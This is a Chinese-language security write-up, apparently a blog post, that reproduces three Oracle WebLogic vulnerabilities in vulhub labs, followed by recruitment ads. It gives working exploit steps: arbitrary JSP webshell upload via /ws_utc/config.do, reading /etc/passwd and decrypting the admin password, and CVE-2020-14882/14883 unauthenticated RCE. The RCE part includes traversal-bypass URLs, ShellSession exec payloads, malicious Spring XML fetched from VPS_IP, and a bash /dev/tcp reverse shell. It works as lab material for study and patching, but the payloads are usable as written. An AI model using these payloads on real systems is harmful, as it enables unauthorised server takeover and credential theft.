STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

漏洞描述

Weblogic任意文件上传漏洞(CVE-2018-2894)

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do。

Web 测试页面在“生产模式”下默认不开启，所以该漏洞有限制。利用该漏洞，可以上传任意jsp文件，继而获取服务器权限。

影响版本

WebLogic :10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3

复现过程

（1）启动vulhub漏洞环境，访问

http://192.168.14.128:7001/console，看到后台登录页面。执行:docker-compose logs | grep password即可查看管理员密码，管理员用户名为weblogic。

（2）登录后台后，点击base_domain的配置，在"Advanced"中开启"启用Web服务测试页"选项，在最下方点击save保存。

（3）访问http://192.168.14.128:7001/ws_utc/config.do，将当前的工作目录为更改为其他目录，提交保存。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

（4）选择旁边的“安全”栏目，点击添加，然后上传哥斯拉生成的jsp木马。

（5）上传过程中使用burpsuite抓包，查看返回的数据包获取时间戳。哥斯拉连接以下URL，即webshell所在位置。

http://192.168.14.128:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

修复建议

（1）设置config.do,begin.do页面登录授权后才能访问
（2）更新产品版本，安装安全补丁

漏洞描述

Weblogic弱口令&文件读取漏洞

weblogic后台存在一个弱口令，并且前台存在任意文件读取漏洞。weblogic密码使用AES加密，找到用户的密文与加密时的密钥即可解密。

影响版本

weblogic版本：10.3.6(11g)

复现过程

启动vulhub漏洞环境

弱口令

访问http://192.168.14.128:7001/console/，即为weblogic后台。使用弱口令成功登录后台，
weblogic:[email protected]

weblogic常见弱口令

（1）vulhub漏洞环境前台模拟了一个任意文件下载漏洞，访问

http://192.168.14.128:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。
（2）用户的密文和加密时的密钥均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在vulhub漏洞环境中

为./security/SerializedSystemIni.dat和./config/config.xml（基于当前目录

/root/Oracle/Middleware/user_projects/domains/base_domain）

（3）SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，不要直接复制，用十六进制（Hex）打开，选中响应正文，右键copy to file就可以保存成一个文件：

（4）config.xml是base_domain的全局配置文件，找到其中的的值，即为加密后的管理员密码。

（5）使用vulhub漏洞环境中自带的解密脚本即可解密。在java1.8环境下解密成功。

后台上传webshell

（1）登录后台，在左侧列表中找到“部署”，点击安装上传文件

（2）哥斯拉上传一个war包 jar cvf cmd.war cmd.jsp

一直点击下一步即可

（3）使用哥斯拉连接上传的webshell

修复建议

将weblogic版本升级到最新版本。

漏洞描述

Weblogic未认证远程命令执行(CVE-2020-14882_CVE-2020-14883)

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证，而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

影响版本
Weblogic : 10.3.6.0.0
Weblogic : 12.1.3.0.0
Weblogic : 12.2.1.3.0
Weblogic : 12.2.1.4.0
Weblogic : 14.1.1.0.0

复现过程

（1）启动vulhub漏洞环境，访问

http://192.168.14.128:7001/console/查看管理员控制台登录页面。
（2）使用以下URL绕过控制台组件的身份认证，未授权访问到管理后台页面。

http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal

但此时访问后台是一个低权限的用户，无法安装应用，也无法直接执行任意代码，也无权上传webshell。

（3）CVE-2020-14883可通过构造特殊的HTTP请求，在未经身份验证的情况下接管WebLogic Server Console，并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

第一种方法：com.tangosol.coherence.mvel2.sh.ShellSession第二种方法：com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

PS：

第一种方法只适用于Weblogic 12.2.1及以上版本中使用，因为10.3.6没有类

com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是一种更为通杀的方法，它首先在 CVE-2019-2725 中引入，可用于任何Weblogic版本。但该方法利用的缺点在于，它需要Weblogic服务器能够访问恶意XML。
第一种方法

（1）访问以下 URL 以链接 2 个漏洞并从

com.tangosol.coherence.mvel2.sh.ShellSession以下位置执行命令：

http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

可看到touch /tmp/success1命令已成功执行

第二种方法

（1）制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean></beans>

（2）通过访问以下URL，weblogic将加载此XML并执行其中的命令。

http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")

（3）进入容器，即可看到success2被创建

（4）反弹shell

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/vps_IP/8899 0>&1]]></value></list></constructor-arg></bean></beans

访问以下URL，同时攻击者主机上监听端口

http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")

修复建议

安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html

征稿通知

知识应该被分享，安全更需携手共进

RECRUITMENT

招聘启事

安恒雷神众测SRC运营（实习生）
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强，性格活泼，具备良好的人际交往能力；
 2.  对网络安全感兴趣，对行业有基本了解；
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师（实习生）

————————

简历投递至 

[email protected]

安全招聘

简历投递至

[email protected]

岗位：红队攻防(正式/实习)

工作地点：杭州/上海
【职位亮点】
1.种类丰富的内部红蓝对抗工具；

2.具备一定的编程能力，至少掌握一门语言 (C#/C++、Go、Java、Python 等) 

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)

岗位：安全研究(正式/实习)

工作地点：杭州/上海
【职位亮点】

1.漏洞挖掘与研究的时间自由；

2.探索前沿的攻防技术，并在实战中进行实践验证；

3.参与红蓝对抗等高端项目，丰富个人实战攻防经验；

4.与安全大牛一起打造武器化工具落地，赋能一线人员.

【岗位要求】
1.拥有大型产品、CMS、厂商漏洞挖掘案例；

2.具备出色的编程能力，熟练掌握一门语言 (C#/C++、Go、Java、Python 等) 

简历投递至

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)

END

长按识别二维码关注我们